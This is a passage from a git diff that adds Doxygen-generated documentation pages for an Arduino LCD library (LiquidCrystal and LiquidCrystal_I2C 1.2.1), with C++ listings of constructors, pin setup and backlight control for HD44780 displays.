+00094 #define LCD_SETCGRAMADDR        0x40
+00095 #define LCD_SETDDRAMADDR        0x80
+00096 
+00097 // flags for display entry mode
+00098 // ---------------------------------------------------------------------------
+00099 #define LCD_ENTRYRIGHT          0x00
+00100 #define LCD_ENTRYLEFT           0x02
+00101 #define LCD_ENTRYSHIFTINCREMENT 0x01
+00102 #define LCD_ENTRYSHIFTDECREMENT 0x00
+00103 
+00104 // flags for display on/off and cursor control
+00105 // ---------------------------------------------------------------------------
+00106 #define LCD_DISPLAYON           0x04
+00107 #define LCD_DISPLAYOFF          0x00
+00108 #define LCD_CURSORON            0x02
+00109 #define LCD_CURSOROFF           0x00
+00110 #define LCD_BLINKON             0x01
+00111 #define LCD_BLINKOFF            0x00
+00112 
+00113 // flags for display/cursor shift
+00114 // ---------------------------------------------------------------------------
+00115 #define LCD_DISPLAYMOVE         0x08
+00116 #define LCD_CURSORMOVE          0x00
+00117 #define LCD_MOVERIGHT           0x04
+00118 #define LCD_MOVELEFT            0x00
+00119 
+00120 // flags for function set
+00121 // ---------------------------------------------------------------------------
+00122 #define LCD_8BITMODE            0x10
+00123 #define LCD_4BITMODE            0x00
+00124 #define LCD_2LINE               0x08
+00125 #define LCD_1LINE               0x00
+00126 #define LCD_5x10DOTS            0x04
+00127 #define LCD_5x8DOTS             0x00
+00128 
+00129 
+00130 // Define COMMAND and DATA LCD Rs (used by send method).
+00131 // ---------------------------------------------------------------------------
+00132 #define COMMAND                 0
+00133 #define DATA                    1
+00134 #define FOUR_BITS               2
+00135 
+00136 
+00143 #define HOME_CLEAR_EXEC      2000
+00144 
+00151 #define BACKLIGHT_OFF           0
+00152 
+00159 #define BACKLIGHT_ON          255
+00160 
+00161 
+00167 typedef enum { POSITIVE, NEGATIVE } t_backlighPol;
+00168 
+00169 class LCD : public Print 
+00170 {
+00171 public:
+00172    
+00179    LCD ( );
+00180    
+00196    virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS);
+00197    
+00208    void clear();
+00209    
+00221    void home();
+00222    
+00231    void noDisplay();
+00232    
+00242    void display();
+00243    
+00250    void noBlink();
+00251    
+00260    void blink();
+00261    
+00268    void noCursor();
+00269    
+00278    void cursor();
+00279    
+00287    void scrollDisplayLeft();
+00288    
+00296    void scrollDisplayRight();
+00297    
+00309    void leftToRight();
+00310    
+00322    void rightToLeft();
+00323    
+00330    void moveCursorLeft();
+00331    
+00332    
+00339    void moveCursorRight();
+00340    
+00354    void autoscroll();
+00355    
+00364    void noAutoscroll();
+00365    
+00382    void createChar(uint8_t location, uint8_t charmap[]);
+00383    
+00393    void setCursor(uint8_t col, uint8_t row);
+00394    
+00402    void backlight ( void );
+00403    
+00411    void noBacklight ( void );
+00412    
+00420    void on ( void );
+00421 
+00429    void off ( void );
+00430    
+00431    //
+00432    // virtual class methods
+00433    // --------------------------------------------------------------------------
+00444    virtual void setBacklightPin ( uint8_t value, t_backlighPol pol ) { };
+00445    
+00463    virtual void setBacklight ( uint8_t value ) { };
+00464    
+00476 #if (ARDUINO <  100)
+00477    virtual void write(uint8_t value);
+00478 #else
+00479    virtual size_t write(uint8_t value);
+00480 #endif
+00481    
+00482 #if (ARDUINO <  100)
+00483    using Print::write;
+00484 #else
+00485    using Print::write;
+00486 #endif   
+00487    
+00488 protected:
+00489    // Internal LCD variables to control the LCD shared between all derived
+00490    // classes.
+00491    uint8_t _displayfunction;  // LCD_5x10DOTS or LCD_5x8DOTS, LCD_4BITMODE or 
+00492                               // LCD_8BITMODE, LCD_1LINE or LCD_2LINE
+00493    uint8_t _displaycontrol;   // LCD base control command LCD on/off, blink, cursor
+00494                               // all commands are "ored" to its contents.
+00495    uint8_t _displaymode;      // Text entry mode to the LCD
+00496    uint8_t _numlines;         // Number of lines of the LCD, initialized with begin()
+00497    uint8_t _cols;             // Number of columns in the LCD
+00498    t_backlighPol _polarity;   // Backlight polarity
+00499    
+00500 private:
+00513    void command(uint8_t value);
+00514 
+00528 #if (ARDUINO <  100)
+00529    virtual void send(uint8_t value, uint8_t mode) { };
+00530 #else
+00531    virtual void send(uint8_t value, uint8_t mode) = 0;
+00532 #endif
+00533    
+00534 };
+00535 
+00536 #endif
+
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal_8cpp.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal_8cpp.html new file mode 100644 index 0000000..c7ad311 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal_8cpp.html @@ -0,0 +1,146 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Defines
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp File Reference
+
+
+
#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+#include <WProgram.h>
+#include "LiquidCrystal.h"
+
+

Go to the source code of this file.

+ + + + + +

+Defines

#define LCD_4BIT   1
#define LCD_8BIT   0
#define LCD_NOBACKLIGHT   0xFF
+

Define Documentation

+ +
+
+ + + + +
#define LCD_4BIT   1
+
+
+ +

Definition at line 45 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_8BIT   0
+
+
+ +

Definition at line 46 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_NOBACKLIGHT   0xFF
+
+
+ +

Definition at line 42 of file LiquidCrystal.cpp.

+ +
+
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal_8cpp_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal_8cpp_source.html new file mode 100644 index 0000000..1760c1c --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal_8cpp_source.html @@ -0,0 +1,383 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal.cpp
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. The original library has been reworked in such a way that 
+00019 // this class implements the all methods to command an LCD based
+00020 // on the Hitachi HD44780 and compatible chipsets using the parallel port of
+00021 // the LCD (4 bit and 8 bit).
+00022 //
+00023 // The functionality provided by this class and its base class is identical
+00024 // to the original functionality of the Arduino LiquidCrystal library.
+00025 //
+00026 //
+00027 // @author F. Malpartida - fmalpartida@gmail.com
+00028 // ---------------------------------------------------------------------------
+00029 #include <stdio.h>
+00030 #include <string.h>
+00031 #include <inttypes.h>
+00032 
+00033 #if (ARDUINO <  100)
+00034 #include <WProgram.h>
+00035 #else
+00036 #include <Arduino.h>
+00037 #endif
+00038 #include "LiquidCrystal.h"
+00039 
+00040 // CONSTANT  definitions
+00041 // ---------------------------------------------------------------------------
+00042 #define LCD_NOBACKLIGHT 0xFF
+00043 
+00044 // LCD driver configuration (4bit or 8bit driver control)
+00045 #define LCD_4BIT                1
+00046 #define LCD_8BIT                0
+00047 
+00048 // STATIC helper functions
+00049 // ---------------------------------------------------------------------------
+00050 
+00051 
+00052 // CONSTRUCTORS
+00053 // ---------------------------------------------------------------------------
+00054 
+00055 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable,
+00056                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00057                              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
+00058 {
+00059    init(LCD_8BIT, rs, 255, enable, d0, d1, d2, d3, d4, d5, d6, d7);
+00060 }
+00061 
+00062 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00063                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00064                              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
+00065 {
+00066    init(LCD_8BIT, rs, rw, enable, d0, d1, d2, d3, d4, d5, d6, d7);
+00067 }
+00068 
+00069 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00070                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)
+00071 {
+00072    init(LCD_4BIT, rs, rw, enable, d0, d1, d2, d3, 0, 0, 0, 0);
+00073 }
+00074 
+00075 LiquidCrystal::LiquidCrystal(uint8_t rs,  uint8_t enable,
+00076                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)
+00077 {
+00078    init(LCD_4BIT, rs, 255, enable, d0, d1, d2, d3, 0, 0, 0, 0);
+00079 }
+00080 
+00081 // Contructors with backlight control
+00082 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable,
+00083                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00084                              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+00085                              uint8_t backlightPin, t_backlighPol pol)
+00086 {
+00087    init(LCD_8BIT, rs, 255, enable, d0, d1, d2, d3, d4, d5, d6, d7);
+00088    setBacklightPin ( backlightPin, pol );
+00089 }
+00090 
+00091 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00092                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00093                              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+00094                              uint8_t backlightPin, t_backlighPol pol)
+00095 {
+00096    init(LCD_8BIT, rs, rw, enable, d0, d1, d2, d3, d4, d5, d6, d7);
+00097    setBacklightPin ( backlightPin, pol );
+00098 }
+00099 
+00100 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00101                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00102                              uint8_t backlightPin, t_backlighPol pol)
+00103 {
+00104    init(LCD_4BIT, rs, rw, enable, d0, d1, d2, d3, 0, 0, 0, 0);
+00105    setBacklightPin ( backlightPin, pol );
+00106 }
+00107 
+00108 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable,
+00109                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00110                              uint8_t backlightPin, t_backlighPol pol)
+00111 {
+00112    init(LCD_4BIT, rs, 255, enable, d0, d1, d2, d3, 0, 0, 0, 0);
+00113    setBacklightPin ( backlightPin, pol );
+00114 }
+00115 
+00116 // PUBLIC METHODS
+00117 // ---------------------------------------------------------------------------
+00118 
+00119 /************ low level data pushing commands **********/
+00120 //
+00121 // send
+00122 void LiquidCrystal::send(uint8_t value, uint8_t mode) 
+00123 {
+00124    // Only interested in COMMAND or DATA
+00125    digitalWrite( _rs_pin, ( mode == DATA ) );
+00126    
+00127    // if there is a RW pin indicated, set it low to Write
+00128    // ---------------------------------------------------
+00129    if (_rw_pin != 255) 
+00130    { 
+00131       digitalWrite(_rw_pin, LOW);
+00132    }
+00133    
+00134    if ( mode != FOUR_BITS )
+00135    {   
+00136       if ( (_displayfunction & LCD_8BITMODE ) )
+00137       {
+00138          writeNbits(value, 8); 
+00139       } 
+00140       else 
+00141       {
+00142          writeNbits ( value >> 4, 4 );
+00143          writeNbits ( value, 4 );
+00144       }
+00145    } 
+00146    else 
+00147    {
+00148       writeNbits ( value, 4 );
+00149    }
+00150    waitUsec ( EXEC_TIME ); // wait for the command to execute by the LCD
+00151 }
+00152 
+00153 //
+00154 // setBacklightPin
+00155 void LiquidCrystal::setBacklightPin ( uint8_t pin, t_backlighPol pol )
+00156 {
+00157    pinMode ( pin, OUTPUT );       // Difine the backlight pin as output
+00158    _backlightPin = pin;
+00159    _polarity = pol;
+00160    setBacklight(BACKLIGHT_OFF);   // Set the backlight low by default
+00161 }
+00162 
+00163 //
+00164 // setBackligh
+00165 void LiquidCrystal::setBacklight ( uint8_t value )
+00166 {
+00167    // Check if there is a pin assigned to the backlight
+00168    // ---------------------------------------------------
+00169    if ( _backlightPin != LCD_NOBACKLIGHT )
+00170    {
+00171       // Check if the pin is associated to a timer, i.e. PWM
+00172       // ---------------------------------------------------
+00173       if(digitalPinToTimer(_backlightPin) != NOT_ON_TIMER)
+00174       {
+00175          // Check for control polarity inversion
+00176          // ---------------------------------------------------
+00177          if ( _polarity == POSITIVE )
+00178          {
+00179             analogWrite ( _backlightPin, value );
+00180          }
+00181          else 
+00182          {
+00183             analogWrite ( _backlightPin, 255 - value );
+00184          }
+00185       }
+00186       // Not a PWM pin, set the backlight pin for POSI or NEG
+00187       // polarity
+00188       // --------------------------------------------------------
+00189       else if (((value > 0) && (_polarity == POSITIVE)) ||
+00190                ((value == 0) && (_polarity == NEGATIVE)))
+00191       {
+00192          digitalWrite( _backlightPin, HIGH);
+00193       }
+00194       else
+00195       {
+00196          digitalWrite( _backlightPin, LOW);
+00197       }
+00198    }
+00199 }
+00200 
+00201 // PRIVATE METHODS
+00202 // ---------------------------------------------------------------------------
+00203 
+00204 
+00205 // init
+00206 void LiquidCrystal::init(uint8_t fourbitmode, uint8_t rs, uint8_t rw, uint8_t enable,
+00207                          uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00208                          uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
+00209 {
+00210    uint8_t i;
+00211    
+00212    // Initialize the IO pins
+00213    // -----------------------
+00214    
+00215    _rs_pin = rs;
+00216    _rw_pin = rw;
+00217    _enable_pin = enable;
+00218    
+00219    _data_pins[0] = d0;
+00220    _data_pins[1] = d1;
+00221    _data_pins[2] = d2;
+00222    _data_pins[3] = d3; 
+00223    _data_pins[4] = d4;
+00224    _data_pins[5] = d5;
+00225    _data_pins[6] = d6;
+00226    _data_pins[7] = d7;
+00227    
+00228    // Initialize the IO port direction to OUTPUT
+00229    // ------------------------------------------
+00230    
+00231    for ( i = 0; i < 4; i++ )
+00232    {
+00233       pinMode ( _data_pins[i], OUTPUT );
+00234    }
+00235    
+00236    // Initialize the rest of the ports if it is an 8bit controlled LCD
+00237    // ----------------------------------------------------------------
+00238    
+00239    if ( !fourbitmode )
+00240    {
+00241       for ( i = 4; i < 8; i++ )
+00242       {
+00243          pinMode ( _data_pins[i], OUTPUT );
+00244       }
+00245    }
+00246    pinMode(_rs_pin, OUTPUT);
+00247    
+00248    // we can save 1 pin by not using RW. Indicate by passing 255 instead of pin#
+00249    if (_rw_pin != 255) 
+00250    { 
+00251       pinMode(_rw_pin, OUTPUT);
+00252    }
+00253    
+00254    pinMode(_enable_pin, OUTPUT);
+00255    
+00256    // Initialise displaymode functions to defaults: LCD_1LINE and LCD_5x8DOTS
+00257    // -------------------------------------------------------------------------
+00258    if (fourbitmode)
+00259       _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00260    else 
+00261       _displayfunction = LCD_8BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00262    
+00263    // Now we pull both RS and R/W low to begin commands
+00264    digitalWrite(_rs_pin, LOW);
+00265    digitalWrite(_enable_pin, LOW);
+00266    
+00267    if (_rw_pin != 255) 
+00268    { 
+00269       digitalWrite(_rw_pin, LOW);
+00270    }
+00271    
+00272    // Initialise the backlight pin no nothing
+00273    _backlightPin = LCD_NOBACKLIGHT;
+00274    _polarity = POSITIVE;
+00275 }
+00276 
+00277 //
+00278 // pulseEnable
+00279 void LiquidCrystal::pulseEnable(void) 
+00280 {
+00281    // There is no need for the delays, since the digitalWrite operation
+00282    // takes longer.
+00283    digitalWrite(_enable_pin, HIGH);   
+00284    waitUsec(1);          // enable pulse must be > 450ns   
+00285    digitalWrite(_enable_pin, LOW);
+00286 }
+00287 
+00288 //
+00289 // write4bits
+00290 void LiquidCrystal::writeNbits(uint8_t value, uint8_t numBits) 
+00291 {
+00292    for (uint8_t i = 0; i < numBits; i++) 
+00293    {
+00294       digitalWrite(_data_pins[i], (value >> i) & 0x01);
+00295    }
+00296    pulseEnable();
+00297 }
+00298 
+00299 
+
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal_8h.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal_8h.html new file mode 100644 index 0000000..9a8ca65 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal_8h.html @@ -0,0 +1,117 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Classes | +Defines
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h File Reference
+
+
+
#include <inttypes.h>
+#include "LCD.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + +

+Classes

class  LiquidCrystal

+Defines

#define EXEC_TIME   37
+

Define Documentation

+ +
+
+ + + + +
#define EXEC_TIME   37
+
+
+

Command execution time on the LCD. This defines how long a command takes to execute by the LCD. The time is expressed in micro-seconds.

+ +

Definition at line 42 of file LiquidCrystal.h.

+ +
+
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal_8h_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal_8h_source.html new file mode 100644 index 0000000..6df7f1e --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal_8h_source.html @@ -0,0 +1,176 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal.h
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. The original library has been reworked in such a way that 
+00019 // this class implements the all methods to command an LCD based
+00020 // on the Hitachi HD44780 and compatible chipsets using the parallel port of
+00021 // the LCD (4 bit and 8 bit).
+00022 //
+00023 //
+00024 //
+00025 // @author F. Malpartida - fmalpartida@gmail.com
+00026 // ---------------------------------------------------------------------------
+00027 #ifndef LiquidCrystal_4bit_h
+00028 #define LiquidCrystal_4bit_h
+00029 
+00030 #include <inttypes.h>
+00031 
+00032 #include "LCD.h"
+00033 #include "FastIO.h"
+00034 
+00035 
+00042 #define EXEC_TIME 37
+00043 
+00044 class LiquidCrystal : public LCD
+00045 {
+00046 public:
+00053    LiquidCrystal(uint8_t rs, uint8_t enable,
+00054                  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00055                  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7);
+00056    LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00057                  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00058                  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7);
+00059    
+00060    // Constructors with backlight control
+00061    LiquidCrystal(uint8_t rs, uint8_t enable,
+00062                  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00063                  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+00064                  uint8_t backlightPin, t_backlighPol pol);
+00065    LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00066                  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00067                  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+00068                  uint8_t backlightPin, t_backlighPol pol);   
+00075    LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00076                  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3);
+00077    LiquidCrystal(uint8_t rs, uint8_t enable,
+00078                  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3);
+00079    
+00080    // Constructors with backlight control
+00081    LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00082                  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00083                  uint8_t backlightPin, t_backlighPol pol);
+00084    LiquidCrystal(uint8_t rs, uint8_t enable,
+00085                  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00086                  uint8_t backlightPin, t_backlighPol pol);
+00099    virtual void send(uint8_t value, uint8_t mode);
+00100    
+00109    void setBacklightPin ( uint8_t pin, t_backlighPol pol );
+00110    
+00125    void setBacklight ( uint8_t value );
+00126    
+00127 private:
+00128    
+00134    void init(uint8_t fourbitmode, uint8_t rs, uint8_t rw, uint8_t enable,
+00135              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00136              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7);
+00137    
+00144    void writeNbits(uint8_t value, uint8_t numBits);
+00145    
+00152    void pulseEnable();
+00153    
+00154    uint8_t _rs_pin;       // LOW: command.  HIGH: character.
+00155    uint8_t _rw_pin;       // LOW: write to LCD.  HIGH: read from LCD.
+00156    uint8_t _enable_pin;   // activated by a HIGH pulse.
+00157    uint8_t _data_pins[8]; // Data pins.
+00158    uint8_t _backlightPin; // Pin associated to control the LCD backlight
+00159 };
+00160 
+00161 #endif
+
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8cpp.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8cpp.html new file mode 100644 index 0000000..8bc6c3b --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8cpp.html @@ -0,0 +1,247 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Defines
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp File Reference
+
+
+
#include <WProgram.h>
+#include <inttypes.h>
+#include "I2CIO.h"
+#include "LiquidCrystal_I2C.h"
+
+

Go to the source code of this file.

+ + + + + + + + + + + +

+Defines

#define D4   0
#define D5   1
#define D6   2
#define D7   3
#define EN   6
#define LCD_BACKLIGHT   0xFF
#define LCD_NOBACKLIGHT   0x00
#define RS   4
#define RW   5
+

Define Documentation

+ +
+
+ + + + +
#define D4   0
+
+
+

LCD dataline allocation this library only supports 4 bit LCD control mode. D4, D5, D6, D7 LCD data lines pin mapping of the extender module

+ +

Definition at line 88 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define D5   1
+
+
+ +

Definition at line 89 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define D6   2
+
+
+ +

Definition at line 90 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define D7   3
+
+
+ +

Definition at line 91 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define EN   6
+
+
+

Enable bit of the LCD Defines the IO of the expander connected to the LCD Enable

+ +

Definition at line 66 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_BACKLIGHT   0xFF
+
+
+

LCD_BACKLIGHT BACKLIGHT MASK used when backlight is on

+ +

Definition at line 55 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_NOBACKLIGHT   0x00
+
+
+

LCD_NOBACKLIGHT NO BACKLIGHT MASK

+ +

Definition at line 48 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define RS   4
+
+
+

Register bit of the LCD Defines the IO of the expander connected to the LCD Register select pin

+ +

Definition at line 80 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define RW   5
+
+
+

Read/Write bit of the LCD Defines the IO of the expander connected to the LCD Rw pin

+ +

Definition at line 73 of file LiquidCrystal_I2C.cpp.

+ +
+
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8cpp_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8cpp_source.html new file mode 100644 index 0000000..2820ddd --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8cpp_source.html @@ -0,0 +1,344 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_I2C.c
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK but using an I2C IO extension board.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. The original library has been reworked in such a way that 
+00019 // this class implements the all methods to command an LCD based
+00020 // on the Hitachi HD44780 and compatible chipsets using I2C extension
+00021 // backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC.
+00022 //
+00023 // The functionality provided by this class and its base class is identical
+00024 // to the original functionality of the Arduino LiquidCrystal library.
+00025 //
+00026 //
+00027 //
+00028 // @author F. Malpartida - fmalpartida@gmail.com
+00029 // ---------------------------------------------------------------------------
+00030 #if (ARDUINO <  100)
+00031 #include <WProgram.h>
+00032 #else
+00033 #include <Arduino.h>
+00034 #endif
+00035 #include <inttypes.h>
+00036 #include "I2CIO.h"
+00037 #include "LiquidCrystal_I2C.h"
+00038 
+00039 // CONSTANT  definitions
+00040 // ---------------------------------------------------------------------------
+00041 
+00042 // flags for backlight control
+00048 #define LCD_NOBACKLIGHT 0x00
+00049 
+00055 #define LCD_BACKLIGHT   0xFF
+00056 
+00057 
+00058 // Default library configuration parameters used by class constructor with
+00059 // only the I2C address field.
+00060 // ---------------------------------------------------------------------------
+00066 #define EN 6  // Enable bit
+00067 
+00073 #define RW 5  // Read/Write bit
+00074 
+00080 #define RS 4  // Register select bit
+00081 
+00088 #define D4 0
+00089 #define D5 1
+00090 #define D6 2
+00091 #define D7 3
+00092 
+00093 
+00094 // CONSTRUCTORS
+00095 // ---------------------------------------------------------------------------
+00096 LiquidCrystal_I2C::LiquidCrystal_I2C( uint8_t lcd_Addr )
+00097 {
+00098    config(lcd_Addr, EN, RW, RS, D4, D5, D6, D7);
+00099 }
+00100 
+00101 
+00102 LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t backlighPin, 
+00103                                      t_backlighPol pol = POSITIVE)
+00104 {
+00105    config(lcd_Addr, EN, RW, RS, D4, D5, D6, D7);
+00106    setBacklightPin(backlighPin, pol);
+00107 }
+00108 
+00109 LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw,
+00110                                      uint8_t Rs)
